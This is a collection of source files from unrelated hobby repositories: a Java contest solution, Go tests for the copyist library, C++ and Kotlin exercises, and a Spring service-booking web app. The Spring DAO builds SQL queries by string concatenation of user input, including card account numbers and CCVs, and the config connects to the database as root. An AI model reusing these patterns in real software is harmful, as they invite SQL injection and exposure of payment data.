<file_sep>import java.util.Scanner; public class Laddu{ /** Simple representation of a user. */ private static class User{ // Where he is from. String origin; // Contests won in laddus. int rank; // Number of times user has hosted a contest. int top; // How many bugs he has found. int severity; // Number of times user has hosted a contest. int host; } public static void main( String[] args ){ // Scanner to parse input. Scanner in = new Scanner( System.in ); // Read the number of users. int n = in.nextInt(); // List of users. User[] userList = new User [ n ]; for( int i = 0; i < n; i++ ){ userList[ i ] = new User(); // Read the number of activities. int m = in.nextInt(); // Read and assign the origin to the current user. userList[ i ].origin = in.next(); for( int j = 0; j < m; j++){ // Read the first activity. String l = in.next(); if( l.equals("CONTEST_WON") ){ int rank = in.nextInt(); userList[ i ].rank += 300; if( rank <= 20) userList[ i ].rank += 20 - rank; } else if( l.equals("TOP_CONTRIBUTOR") ) userList[ i ].top += 1; else if( l.equals("BUG_FOUND") ) userList[ i ].severity += in.nextInt(); else if( l.equals("CONTEST_HOSTED") ) userList[ i ].host += 1; } } int laddus = 0; // Compute the laddus. for ( int i = 0; i < n; i++ ){ if( userList[ i ].rank != 0 ){ laddus += userList[ i ].rank; } if( userList[ i ].top > 0 ) laddus += 300 * userList[ i ].top; if( userList[ i ].severity > 0 ) laddus += userList[ i ].severity; if( userList[ i ].host > 0 ) laddus += 50 * userList[ i ].host; int r = 0; if ( userList[ i ].origin.equals("INDIAN")) r = laddus/200; else if ( userList[ i ].origin.equals("NON_INDIAN")) r = laddus/400; System.out.println(r); laddus = 0; } } } <file_sep># Problems Pool of solutions
80a03a3a5d271647c7cbfb13ad721ce957c10798
[ "Markdown", "Java" ]
2
Java
extfcz/problems
a6e63817bba857555cf3361f11e576ebb6c269c0
db9fa74381a60a1d9498a371b7e52827608cd013
refs/heads/master
<file_sep>module github.com/cockroachdb/copyist go 1.16 require ( github.com/fortytw2/leaktest v1.3.0 github.com/jackc/pgproto3 v1.1.0 github.com/jackc/pgx/v4 v4.13.0 github.com/jmoiron/sqlx v1.3.4 github.com/lib/pq v1.10.2 github.com/stretchr/testify v1.7.0 ) <file_sep>// Copyright 2021 The Cockroach Authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or // implied. See the License for the specific language governing // permissions and limitations under the License. package commontest_test import ( "database/sql" "testing" "github.com/cockroachdb/copyist" "github.com/cockroachdb/copyist/drivertest/commontest" "github.com/fortytw2/leaktest" "github.com/stretchr/testify/require" _ "github.com/lib/pq" ) // Arbitrarily use PQ driver for tests that aren't driver-specific. const ( driverName = "postgres" dataSourceName = "postgresql://root@localhost:26888?sslmode=disable" // Don't use default CRDB port in case another instance is already running. dockerArgs = "-p 26888:26257 cockroachdb/cockroach:v20.2.4 start-single-node --insecure" ) func TestMain(m *testing.M) { commontest.RunAllTests(m, driverName, dataSourceName, dockerArgs) } // TestIndirectOpen calls copyist.Open indirectly in a helper function. func TestIndirectOpen(t *testing.T) { defer leaktest.Check(t)() db, closer := indirectOpen(t, dataSourceName) defer closer.Close() defer db.Close() rows, err := db.Query("SELECT name FROM customers WHERE id=$1", 1) require.NoError(t, err) defer rows.Close() rows.Next() var name string rows.Scan(&name) require.Equal(t, "Andy", name) } func TestOpenNamed(t *testing.T) { defer leaktest.Check(t)() defer copyist.OpenNamed(t, "recording.txt", "TestOpenNamed").Close() // Open database. db, err := sql.Open("copyist_postgres", dataSourceName) require.NoError(t, err) defer db.Close() rows, err := db.Query("SELECT 1") require.NoError(t, err) rows.Next() } func TestIsOpen(t *testing.T) { require.False(t, copyist.IsOpen()) closer := copyist.Open(t) require.True(t, copyist.IsOpen()) closer.Close() require.False(t, copyist.IsOpen()) } // TestPooling ensures that sessions are pooled in the same copyist session, but // not across copyist sessions. func TestPooling(t *testing.T) { defer leaktest.Check(t)() // Open database. db, err := sql.Open("copyist_"+driverName, dataSourceName) require.NoError(t, err) defer db.Close() var sessionID string t.Run("ensure connections are pooled within same copyist session", func(t *testing.T) { defer copyist.Open(t).Close() var firstSessionID string rows, err := db.Query("SHOW session_id") require.NoError(t, err) require.True(t, rows.Next()) require.NoError(t, rows.Scan(&firstSessionID)) require.False(t, rows.Next()) rows.Close() rows, err = db.Query("SHOW session_id") require.NoError(t, err) require.True(t, rows.Next()) require.NoError(t, rows.Scan(&sessionID)) require.False(t, rows.Next()) require.Equal(t, firstSessionID, sessionID) rows.Close() }) t.Run("ensure connections are *not* pooled across copyist sessions", func(t *testing.T) { defer copyist.Open(t).Close() var nextSessionID string rows, err := db.Query("SHOW session_id") require.NoError(t, err) require.True(t, rows.Next()) require.NoError(t, rows.Scan(&nextSessionID)) require.NotEqual(t, sessionID, nextSessionID) rows.Close() }) }
b0c117711f090b3bb3cfee0293ba09f086cb40ea
[ "Go", "Go Module" ]
2
Go Module
Ayush10/copyist
becf8395e262ceb280a2b7bda8e6c4c0bb9179c2
047dec17a4635b35134fd9c2629126814d0ca0ce
refs/heads/master
<repo_name>psivanov/dobrotracker<file_sep>/README.md # DobroTraker A web app for tracking charity contributions. Different charities are called 'campaigns'. Each charity can have multiple 'initiatives'. Users interested in contributing to a campaigns can subscribe to receive emails when new initiatives are created by the owner of the camapign. Login is required in order to create campaign/initiatives and to keep track of user contributons. This is only a tracker and does not support actual money transfer. UI is in Bulgarian.<file_sep>/js/modal.js var Modal = React.createClass({ render: function() { return ( <div className={`modal ${this.props.isOpen ? 'modal--isOpen' : ''}`}> <div className='modal-content'> {this.props.children} <div className='modal-buttons'> <button onClick={this.onClose}>{'Откажи'}</button> <button onClick={this.onOk}>{'Потвърди'}</button> </div> </div> </div> ) } });
195ca758ced232b99a22d80375b2919d11d4cd65
[ "Markdown", "JavaScript" ]
2
Markdown
psivanov/dobrotracker
b6697f33b33e9ce93057a497f0decf3a3faaccdd
5f1f01dea7f61764c3aad4b1071685b2b2d2593e
refs/heads/master
<file_sep>// // laser.hpp // Laser // // Created by <NAME>. on 14/11/2018. // Copyright © 2018 <NAME>. All rights reserved. // #ifndef laser_hpp #define laser_hpp class Laser { public: void avance(); void calculeTrajectoire(); private: int d_direction; //0 haut, 1 droite, 2 bas, 3 gauche int d_x, d_y; //coordonnées du laser }; #endif /* laser_hpp */ <file_sep>// // case.cpp // Laser // // Created by <NAME>. on 14/11/2018. // Copyright © 2018 <NAME>. All rights reserved. // #include "case.hpp" //hello <file_sep>// // miroir.hpp // Laser // // Created by <NAME>. on 14/11/2018. // Copyright © 2018 <NAME>. All rights reserved. // #ifndef miroir_hpp #define miroir_hpp #include "element.hpp" class Miroir : public Element { public: Miroir(); virtual int valeur() const override; private: bool d_orientationMiroir; // \0 /1 }; #endif /* miroir_hpp */ <file_sep>// // element.hpp // Laser // // Created by <NAME>. on 14/11/2018. // Copyright © 2018 <NAME>. All rights reserved. // #ifndef element_hpp #define element_hpp class Element { public: Element(); virtual ~Element(); virtual int valeur() const; private: //rien = 0, mur = 1, miroir = 2, cible = 3 }; #endif /* element_hpp */ <file_sep>// // terrain.hpp // Laser // // Created by <NAME>. on 14/11/2018. // Copyright © 2018 <NAME>. All rights reserved. // #ifndef terrain_hpp #define terrain_hpp #include <vector> class Terrain { public: Terrain (int nbColonnes, int nbLignes); private: std::vector<std::vector<Case*>> d_terrain; }; #endif /* terrain_hpp */ <file_sep>// // case.hpp // Laser // // Created by <NAME>. on 14/11/2018. // Copyright © 2018 <NAME>. All rights reserved. // #ifndef case_hpp #define case_hpp class Element; class Case { friend class Terrain; public: Case(); int element() const; private: Element* d_element; }; #endif /* case_hpp */ <file_sep>// // miroir.cpp // Laser // // Created by <NAME>. on 14/11/2018. // Copyright © 2018 <NAME>. All rights reserved. // #include "miroir.hpp"
3f112f7c5d24b6517e29c0751a55e4b064ca842d
[ "C++" ]
7
C++
Thibaud11/Laser
c3b9770321dd120172b579d7a838c18a60399d1d
97d1dde5ad14960b57f5637f574005b3419f7fff
refs/heads/master
<file_sep>A simple mock-page of ICT-ACK Home page. Technologies Used: HTML5,CSS3 GITHUB HOSTED URL: https://haritatoboso.github.io/ICTACK-Website/ <file_sep>function fname(){ return null } var a = function fname1(){ } var b = () =>{ }
1dac8b38687b4e7aefd66fe6fbdc1ae8f948d2fc
[ "Markdown", "JavaScript" ]
2
Markdown
harita-gr/ICTACK-Website
f4f0878a0dec1d68ab0b3f5c2ad0f5cbb1fcef17
edca1341b8885569bdcd11c2ae86dae35c6fd78e
refs/heads/master
<repo_name>saad-creator/Egg-Boil-Timer<file_sep>/myEggTimer/ViewController.swift import UIKit import AVFoundation class ViewController: UIViewController { @IBOutlet weak var mylabel: UILabel! @IBOutlet weak var progressBar: UIProgressView! @IBOutlet weak var hardnessLabel: UILabel! @IBOutlet weak var percentageLabel: UILabel! let value = ["Soft": 300, "Medium": 15, "Hard": 20] var totalTime = 0 var secondsPassed = 0 var timer = Timer() var player: AVAudioPlayer? override func viewDidLoad() { super.viewDidLoad() } @IBAction func hardnessSelected(_ sender: UIButton) { timer.invalidate() let hardness = sender.currentTitle! totalTime = value[hardness]! secondsPassed = 0 progressBar.progress = 0.0 hardnessLabel.text = hardness + " Egg" timer = Timer.scheduledTimer(timeInterval: 1.0, target: self, selector: #selector(updateCounter), userInfo: nil, repeats: true) } @objc func updateCounter() { //example functionality if secondsPassed < totalTime { secondsPassed += 1 progressBar.progress = Float(secondsPassed) / Float(totalTime) percentageLabel.text = String((secondsPassed / totalTime) * 100) + "%" print(percentageLabel.text!) DispatchQueue.main.async{ self.mylabel.text! = "Keep Boiling" } } else if totalTime == secondsPassed { timer.invalidate() DispatchQueue.main.async{ self.mylabel.text! = "Done" let _:NSURL = Bundle.main.url(forResource: "alarm_sound", withExtension: "mp3")! as NSURL } playSound() } } func playSound() { let url = Bundle.main.url(forResource: "alarm_sound", withExtension: "mp3")! do { player = try AVAudioPlayer(contentsOf: url) guard let player = player else { return } player.prepareToPlay() player.play() } catch let error as NSError { print(error.description) } } }
f442195a3cd77b1dd029826852a10db04211670a
[ "Swift" ]
1
Swift
saad-creator/Egg-Boil-Timer
e5b72060a98ed8c313548dbfab907aafa270f189
58922a34ff35016483be273a64d93cdc0697dfa1
refs/heads/master
<repo_name>bambambaklawa/covidapp<file_sep>/script.js const URL = "https://corona.lmao.ninja/v2/"; let map; let infoWindow; let markers = []; let mykey = "<KEY>"; let script = document.createElement("script"); script.src = `https://maps.googleapis.com/maps/api/js?key=${mykey}&callback=initMap`; script.defer = true; script.async = true; function initMap() { map = new google.maps.Map(document.getElementById("map"), { center: { lat: 0, lng: 0, }, zoom: 2, }); infoWindow = new google.maps.InfoWindow(); } document.body.appendChild(script); window.onload = function () { getGlobalData(); getCountryMarkers(); }; getCountryMarkers = () => { const FULL_URL = "https://corona.lmao.ninja/v2/countries?yesterday=&sort="; const globalPromise = fetch(FULL_URL); globalPromise .then((response) => { return response.json(); }) .then((data) => { showCountryMarkers(data); }); }; const onEnter = (e) => { if (e.key === "Enter") { getCountryData(); } }; getCountryData = (country = "") => { if (country == "") { country = document.getElementById("search-country").value; } const FULL_URL = `${URL}countries/${country}?yesterday=true&strict=true&query`; const globalPromise = fetch(FULL_URL); globalPromise .then((response) => { return response.json(); }) .then((data) => { console.log(data); showCountryData(data); }); }; showCountryData = (countryData) => { document.getElementById( "country" ).innerText = `${countryData.country.toUpperCase()}`; document.getElementById( "flag" ).innerHTML = `<img src='${countryData.countryInfo.flag}' alt='Country flag'>`; document.getElementById( "today-country-cases" ).innerText = `NEW CASES: ${countryData.todayCases}`; document.getElementById( "today-country-deaths" ).innerText = `NEW DEATHS: ${countryData.todayDeaths}`; document.getElementById( "active-cases" ).innerText = `ACTIVE CASES: ${countryData.active}`; }; function showCountryMarkers(countries) { let totalCases = 0; let recovered = 0; let totalDeaths = 0; let name; var bounds = new google.maps.LatLngBounds(); countries.forEach(function (country, index) { var latlng = new google.maps.LatLng( country.countryInfo.lat, country.countryInfo.long ); name = country.country; totalCases = country.cases; totalDeaths = country.deaths; recovered = country.recovered; createMarker(latlng, name, totalCases, totalDeaths, recovered, index); bounds.extend(latlng); }); map.panToBounds(bounds); } function createMarker(latlng, name, totalCases, totalDeaths, recovered, index) { let country = name; var html = `<h3>${country}</h3> <p>Total cases: ${totalCases}</p> <p>Total Deaths: ${totalDeaths}</p> <p>Recovered: ${recovered}</p> `; var marker = new google.maps.Marker({ map: map, position: latlng, label: "\u29BF", }); google.maps.event.addListener(marker, "click", function () { infoWindow.setContent(html); infoWindow.open(map, marker); getCountryData(country); }); markers.push(marker); }
c05f63bf4bda1dff9c2984e644c0bc0f77cd302e
[ "JavaScript" ]
1
JavaScript
bambambaklawa/covidapp
3650143b43494ba02c4722bdf859b708ac00a135
e34c82889bb1fe2d8aeaf11caadbbef078975ff2
refs/heads/master
<file_sep>fun nOccurrences(s: String, c: Char): Int { var counter = 0 for(i in 10 downTo 2) println(i) for (letter in s){ if(c == letter) counter++ } for (pos in 0 until stringLength(s)) if (c == charAt(s, pos)) counter++ s.filter { it != 'c' }.length return counter } fun main() { val n = nOccurrences("Hello", 'e') println(n) }<file_sep>import hevs.graphics.FunGraphics import java.awt.Color // Constant parameters val GRAPHICS_WIDTH = 640 val GRAPHICS_HEIGHT = 480 val DOT_DISTANCE = 20 val DOT_RADIUS = 8 val STARTING_POSITION_X = 10 val STARTING_POSITION_Y = 10 // Display surface to draw on val display: FunGraphics = FunGraphics(GRAPHICS_WIDTH, GRAPHICS_HEIGHT) fun drawDisc(radius: Int, Cx: Int, Cy: Int) { display.setColor(Color.red) // Draws a red disc for (x in 0 until GRAPHICS_WIDTH) { for (y in 0 until GRAPHICS_HEIGHT) { val distance = ((Cx - x) * (Cx - x) + (Cy - y) * (Cy - y)).toDouble() if (distance <= radius * radius) { display.setPixel(x, y) } } } } fun fastDrawDisc(radius: Int, Cx: Int, Cy: Int) { display.setColor(Color.red) // Draws a red disc for (x in Cx - radius until Cx + radius) { for (y in Cy - radius until Cy + radius) { val distance = ((Cx - x) * (Cx - x) + (Cy - y) * (Cy - y)).toDouble() if (distance <= radius * radius) { display.setPixel(x, y) } } } } fun main() { display.setColor(Color.red) val before = System.currentTimeMillis() for (i in 1..39) { for (j in 1..29) { fastDrawDisc(5, i * 15, j * 15) } } val after = System.currentTimeMillis() println("Took " + (after - before) + " ms") }<file_sep>fun stringLength(s: String): Int { return s.length } fun charAt(s: String, index: Int): Char { return s[index] }
cc0b68fa277a9ce151a21a10f3b8c6004cb2dfba
[ "Kotlin" ]
3
Kotlin
pmudry/Lab4
c92bfb13dcb53c02c2cf1a4b991593ec73977e06
f9274e7ee6fb574e5d02462920dd3b8ebc9edb4b
refs/heads/master
<file_sep>package com.square.dao; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Set; import org.springframework.jdbc.core.JdbcTemplate; import com.square.entity.Booking; import com.square.entity.Feedback; import com.square.entity.GlobalClass; import com.square.entity.User; import com.square.entity.Worker; public class DaoImpl implements DaoI { public void setJtemp(JdbcTemplate jtemp) { this.jtemp = jtemp; } private JdbcTemplate jtemp; public int addUserDetails(User user) { String sql = "insert into user(email,password,full_name,contactno,sex) values(?,?,?,?,?)"; jtemp.update(sql, user.getEmail(), user.getPassword(), user.getFullname(), user.getContactno(), user.getSex()); return 0; } public Set<String> getCategories() { String sql = "Select worker_category from worker"; List<String> lst = jtemp.queryForList(sql, String.class); Set<String> set = new HashSet<String>(); set.addAll(lst); return set; } public int addBooking(Booking book) { String sql = "insert into booking(user_id,worker_id,start_date,end_date,start_time,end_time,category_id,locality,address,pincode,booking_id,city)" + "values(?,?,?,?,?,?,?,?,?,?,?,?)"; jtemp.update(sql, book.getBook_uid(), book.getBook_wid(), book.getBook_start_date(), book.getBook_end_date(), book.getBook_start_time(), book.getBook_end_time(), book.getBook_cid(), book.getBook_locality(), book.getBook_address(), book.getBook_pincode(), "",GlobalClass.city); return 0; } @Override public int addWorkerDetails(Worker worker) { String sql = "insert into rawworker values('',?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; jtemp.update(sql, worker.getWname(), worker.getWcontactno(), worker.getWcategory(), worker.getWsex(), worker.getWdob(), worker.getWexp(), worker.getWstart_date(), worker.getWend_date(), 3, worker.getWstart_time(), worker.getWend_time(), 1, worker.getWrent(), 0, worker.getWlanguage(), 0,worker.getCity(),worker.getLocality()); return 0; } public List<Map<String, Object>> viewWorkersByCategory(String category, String sex) { String sql = "select worker_name from worker where worker_category=? or Worker_sex=?"; Object[] params = { category, sex }; List<Map<String, Object>> lst = jtemp.queryForList(sql, params); return lst; } public int update(int wid, int wavail) { String sql = "update worker set wavail=? where wid=?"; Object[] params = { wavail, wid }; return jtemp.update(sql, params); } public Set<Integer> getIds() { String sql = "Select worker_id from worker"; List<Integer> lst = jtemp.queryForList(sql, Integer.class); Set<Integer> set = new HashSet<Integer>(); set.addAll(lst); return set; } @Override public List<Map<String, Object>> viewWorkersByRating(String category) { String sql="select w.worker_id,w.worker_name,w.worker_contact_no,w.worker_category,c.locality,c.city,w.worker_sex,"+ "w.worker_dob,w.worker_startdate,w.worker_enddate,w.worker_avail,w.worker_exp,w.worker_ranking,w.worker_starttime,w.worker_endtime,w.worker_rent,w.worker_image,"+ "w.worker_language,w.worker_rcount from worker w inner join category c on w.worker_id=c.worker_id where c.city='"+GlobalClass.city+"' and w.worker_category='"+category+"' order by w.worker_ranking DESC"; List<Map<String, Object>> lst = jtemp.queryForList(sql); return lst; } @Override public List<Map<String, Object>> viewWorkersByExp(String category) { String sql="select w.worker_id,w.worker_name,w.worker_contact_no,w.worker_category,c.locality,c.city,w.worker_sex,"+ "w.worker_dob,w.worker_startdate,w.worker_enddate,w.worker_avail,w.worker_exp,w.worker_ranking,w.worker_starttime,w.worker_endtime,w.worker_rent,w.worker_image,"+ "w.worker_language,w.worker_rcount from worker w inner join category c on w.worker_id=c.worker_id where c.city='"+GlobalClass.city+"' and w.worker_category='"+category+"' order by w.worker_exp DESC"; List<Map<String, Object>> lst = jtemp.queryForList(sql); return lst; } @Override public int addFeedback() { // TODO Auto-generated method stub return 0; } @Override public List<Map<String, Object>> BookingDetails() { // TODO Auto-generated method stub return null; } @Override public Set<String> client_Worker(String Username) { // TODO Auto-generated method stub return null; } @Override public int fetchUser_id() { // TODO Auto-generated method stub return 0; } @Override public List<Map<String, Object>> viewWorkersByPrice(String category) { String sql="select w.worker_id,w.worker_name,w.worker_contact_no,w.worker_category,c.locality,c.city,w.worker_sex,"+ "w.worker_dob,w.worker_startdate,w.worker_enddate,w.worker_avail,w.worker_exp,w.worker_ranking,w.worker_starttime,w.worker_endtime,w.worker_rent,w.worker_image,"+ "w.worker_language,w.worker_rcount from worker w inner join category c on w.worker_id=c.worker_id where c.city='"+GlobalClass.city+"' and w.worker_category='"+category+"' order by w.worker_rent DESC"; List<Map<String, Object>> lst = jtemp.queryForList(sql); return lst; } @Override public List<Map<String, Object>> viewAllEmployees() { String sql = "Select * from worker"; List<Map<String, Object>> lst = jtemp.queryForList(sql); return lst; } @Override public List<Map<String, Object>> viewWorkersByDateRange(String start, String end) { return null; } @Override public List<Map<String, Object>> viewWorkersNearBy(User u, Worker w) { // TODO Auto-generated method stub return null; } @Override public List<Map<String, Object>> viewBookings() { String sql = "select b.booking_id,w.worker_name,c.category,b.start_date,b.end_date, b.start_time,b.end_time,b.city,b.locality,b.address,b.pincode from booking b" + " inner join categoryname c on b.category_id=c.cid inner join worker w on b.worker_id=w.worker_id where b.user_Id='"+ GlobalClass.userId + "'"; /*String sql = "select * from booking where user_id='" + GlobalClass.userId + "'";*/ List<Map<String, Object>> lst = jtemp.queryForList(sql); return lst; } @Override public List<Map<String, Object>> viewByLocationAndCategory(String location,String category) { /*String sql="select w.worker_id,w.worker_name,w.worker_contact_no,w.worker_category,c.locality,c.city,w.worker_sex,"+ "w.worker_dob,w.worker_exp,w.worker_ranking,w.worker_starttime,w.worker_endtime,w.worker_rent,w.worker_image,"+ "w.worker_language,w.worker_rcount from worker w join category c on w.worker_id=c.worker_id where c.city='"+GlobalClass.city+"';";*/ String sql="select w.worker_id,w.worker_name,w.worker_contact_no,w.worker_category,c.locality,c.city,w.worker_sex,"+ "w.worker_dob,w.worker_startdate,w.worker_enddate,w.worker_avail,w.worker_exp,w.worker_ranking,w.worker_starttime,w.worker_endtime,w.worker_rent,w.worker_image,"+ "w.worker_language,w.worker_rcount from worker w inner join category c on w.worker_id=c.worker_id where c.city='"+location+"' and w.worker_category='"+category+"' order by w.worker_id"; List<Map<String, Object>> lst = jtemp.queryForList(sql); return lst; } @Override public List<Map<String, Object>> viewAllWorker() { String sql = "Select * from rawworker"; List<Map<String, Object>> lst = jtemp.queryForList(sql); return lst; } @Override public void addFeedback(Feedback feedback) { String sql="insert into feedbacktable values(?,?,?,?,?)"; jtemp.update(sql,feedback.getUser_id(),feedback.getFull_name(),feedback.getPhone_no(),feedback.getEmail(),feedback.getMessage()); } @Override public List<Map<String, Object>> viewAllFeedbacks() { String sql="select * from feedbacktable"; List<Map<String,Object>>lst=jtemp.queryForList(sql); return lst; } @Override public List<Map<String, Object>> viewUsers() { // TODO Auto-generated method stub String sql="select * from user"; List<Map<String,Object>>lst=jtemp.queryForList(sql); return lst; } @Override public boolean paymentverify(String account_no, int exp_month, int exp_year, int ccv, double money) { money=GlobalClass.money_rent; // TODO Auto-generated method stub System.out.println(money); String sql="select count(*) from card where account_no='"+account_no+"' and exp_month="+(exp_month)+" and exp_year="+exp_year+" and ccv="+ccv+" and money>="+GlobalClass.money_rent; int a=jtemp.queryForInt(sql); if(a==1) return true; return false; } @Override public List<Map<String, Object>> getReceipt() { // TODO Auto-generated method stub String sql="select wal.user_id,wal.money,w.worker_name,w.worker_contact_no,w.worker_exp,w.worker_startdate from wallet wal inner join worker w on wal.worker_id=w.worker_id where wal.user_id='"+GlobalClass.userId+"'"; List<Map<String, Object>> lst = jtemp.queryForList(sql); return lst; } @Override public int paymentCutting(int user_id, int worker_id, double money,String account_no) { // TODO Auto-generated method stub //money=GlobalClass.money_rent; worker_id=GlobalClass.worker_id; user_id=GlobalClass.userId; System.out.println(GlobalClass.money_rent); String sql="insert into wallet(user_id,worker_id,money,account_no) values(?,?,?,?)"; jtemp.update(sql, user_id,worker_id,GlobalClass.money_rent,account_no); return 0; } @Override public void updateMoneyInCard(String account_no, int exp_month, int exp_year, int ccv, double money) { // TODO Auto-generated method stub money=GlobalClass.money_rent; String query="select money from card where account_no='"+account_no+"'"; int mon=jtemp.queryForInt(query); mon=mon-(int)money; money=(double)mon; String sql="update card set money="+money+" where account_no='"+account_no+"'"; jtemp.update(sql); } } <file_sep>driver=com.mysql.jdbc.Driver url=jdbc:mysql://localhost:3306/service_square uname=root <file_sep>package com.square.entity; public class User { private int uid; private String email; private String password; private String fullname; private String contactno; private String sex; public int getUid() { return uid; } public void setUid(int uid) { this.uid = uid; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String getFullname() { return fullname; } public void setFullname(String fullname) { this.fullname = fullname; } public String getContactno() { return contactno; } public void setContactno(String contactno) { this.contactno = contactno; } public String getSex() { return sex; } public void setSex(String sex) { this.sex = sex; } } <file_sep>package com.square.entity; public class BookingDetails { public static int book_uid; public static int book_wid; public static int book_cid; public static String book_start_date; public static String book_end_date; public static String book_start_time; public static String book_end_time; public static String book_locality; public static String book_address; public static String book_pincode; public static String book_city; public static String book_category; } /*private static int cash_uid; private static int book_wid; private static int book_cid; private static String book_start_date; private static String book_end_date; private static String book_start_time; private static String book_end_time; private static String book_locality; private static String book_address; private static String book_pincode; private static String book_city; private static String book_category;*/ <file_sep>package com.square.web; import java.awt.print.Book; import java.util.List; import java.util.Map; import javax.servlet.http.HttpSession; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import com.square.dao.DaoI; import com.square.entity.Booking; import com.square.entity.BookingDetails; import com.square.entity.GlobalClass; import com.square.entity.Payment; import com.square.entity.RadioCategory; import com.square.entity.User; import com.square.entity.UserRequest; import com.square.entity.Worker; @Controller public class ServiceController { private DaoI dao; @Autowired public void setDao(DaoI dao) { this.dao = dao; } @RequestMapping(value="indexfrm.htm", method=RequestMethod.GET) public String indexFrm(Model model) { model.addAttribute("userrequest",new UserRequest()); return "index"; } @RequestMapping(value="add.htm", method=RequestMethod.GET) public String addEmployeeFrm(Model model) { model.addAttribute("user",new User()); return "AddFrm"; } @RequestMapping(value="faqfrm.htm", method=RequestMethod.GET) public String viewFaqFrm(Model model) { return "faq"; } @RequestMapping(value="addclientdetails.htm", method=RequestMethod.POST) public String addClientDetails(@ModelAttribute("user")User user,Model model) { //System.out.println(user.getEmail()); //model.addAttribute("userrequest",new UserRequest()); dao.addUserDetails(user); return "index1"; } @RequestMapping(value="addworkerfrm.htm", method=RequestMethod.GET) public String addWorkerForm(Model model) { model.addAttribute("worker",new Worker()); return "WorkerForm1"; } @RequestMapping(value="addworkerdetails.htm", method=RequestMethod.POST) public String addWorkerDetails(@ModelAttribute("worker1")Worker worker,Model model) { dao.addWorkerDetails(worker); model.addAttribute("msg","Successfully Application has been sent!!"); return "WorkerForm1"; } @RequestMapping(value="loginfrm.htm", method=RequestMethod.GET) public String loginUserForm(Model model) { model.addAttribute("userrequest",new UserRequest()); //model.addAttribute("worker",new Worker()); return "LoginPage"; } @RequestMapping(value="viewcat.htm",method=RequestMethod.GET) public String DisplaycatFrm(Model model){ model.addAttribute("worker", new Worker()); model.addAttribute("clist", dao.getCategories()); return "WCatFrm"; } @RequestMapping(value="wcat.htm",method=RequestMethod.POST) public String viewCatWork(@ModelAttribute("worker")Worker w,Model model){ List<Map<String, Object>> lst=dao.viewWorkersByCategory(w.getWcategory(), w.getWsex()); model.addAttribute("elist",lst); return "WCatFrm"; } @RequestMapping(value="viewall.htm", method=RequestMethod.GET) public String viewAllWorkers(@ModelAttribute("worker")Worker worker,Model model) { model.addAttribute("wlist", dao.viewAllEmployees()); return "ViewAllEmployee1"; } @RequestMapping(value="viewall1.htm", method=RequestMethod.GET) public String viewAllWorkers1(@ModelAttribute("worker")Worker worker,Model model) { model.addAttribute("wlist", dao.viewAllEmployees()); return "ViewAllEmployee"; } UserRequest userrequest; @RequestMapping(value="viewbycategory.htm", method=RequestMethod.GET) public String viewbycat(@ModelAttribute("userrequest")UserRequest user,Model model) { GlobalClass.city=user.getLocationid(); model.addAttribute("radiob",new RadioCategory()); userrequest=user; model.addAttribute("viewall",dao.viewByLocationAndCategory(user.getLocationid(),user.getCategory())); //System.out.println(userrequest.getCategory()+" "+ userrequest.getLocationid()); /*model.addAttribute("sortByRating", dao.viewWorkersByRating(user.getCategory())); model.addAttribute("sortByExperience", dao.viewWorkersByExp(user.getCategory()));*/ return "ViewUserForm1"; } @RequestMapping(value="viewbycategory1.htm", method=RequestMethod.GET) public String viewbycat1(@ModelAttribute("radiob")RadioCategory radio, Model model) { String str=radio.getSortby(); if(str.equals("rating")) { model.addAttribute("sortByRating", dao.viewWorkersByRating(userrequest.getCategory())); } else if(str.equals("experience")){ model.addAttribute("sortByExperience", dao.viewWorkersByExp(userrequest.getCategory())); } else if(str.equals("price")) { model.addAttribute("sortByPrice", dao.viewWorkersByPrice(userrequest.getCategory())); } else { model.addAttribute("viewall", dao.viewByLocationAndCategory(userrequest.getLocationid(),userrequest.getCategory())); } return "ViewUserForm1"; /*model.addAttribute("category", userrequest.getCategory()); model.addAttribute("location", userrequest.getLocationid()); //System.out.println(userrequest.getCategory()+" "+ userrequest.getLocationid()); model.addAttribute("sortByRating", dao.viewWorkersByRating(userrequest.getCategory())); model.addAttribute("sortByExperience", dao.viewWorkersByExp(userrequest.getCategory())); */ //return ; } @RequestMapping(value="newuser.htm", method=RequestMethod.GET) public String newUserRegistration(Model model) { model.addAttribute("user",new User()); return "reg"; } @RequestMapping(value="plumberfrm.htm", method=RequestMethod.GET) public String newPlumberFrm(Model model) { model.addAttribute("plumber",new Booking()); return "plumber"; } @RequestMapping(value="computerfrm.htm", method=RequestMethod.GET) public String newComputerFrm(Model model) { model.addAttribute("plumber",new Booking()); return "computer"; } @RequestMapping(value="housefrm.htm", method=RequestMethod.GET) public String newHouseFrm(Model model) { model.addAttribute("plumber",new Booking()); return "house"; } @RequestMapping(value="electricalfrm.htm", method=RequestMethod.GET) public String newelectricalFrm(Model model) { model.addAttribute("plumber",new Booking()); return "electrical"; } @RequestMapping(value="gohome.htm", method=RequestMethod.GET) public String homePage(Model model) { model.addAttribute("userrequest",new UserRequest()); return "index"; } @RequestMapping(value="newWorkerform1.htm", method=RequestMethod.GET) public String newWorkerForm(Model model) { //model.addAttribute("userrequest",new UserRequest()); model.addAttribute("worker1",new Worker()); return "WorkerForm1"; } @RequestMapping(value="viewuser.htm",method=RequestMethod.GET) public String viewUsers(Model model){ List<Map<String, Object>> lst=dao.viewUsers(); model.addAttribute("wlist",lst); return "ViewUsers"; } @RequestMapping(value="newWorkerform.htm", method=RequestMethod.GET) public String newWorkerForm1(Model model) { //model.addAttribute("userrequest",new UserRequest()); model.addAttribute("worker1",new Worker()); return "WorkerForm"; } @RequestMapping(value="admin.htm", method=RequestMethod.GET) public String homePage1(Model model) { System.out.println("Hello"); return "AdminIndex"; } //payment--------------------- @RequestMapping(value = "paymentform.htm", method = RequestMethod.POST) public String viewPaymentform(@ModelAttribute("book") Booking book,Model model) { book.setBook_uid(GlobalClass.userId); 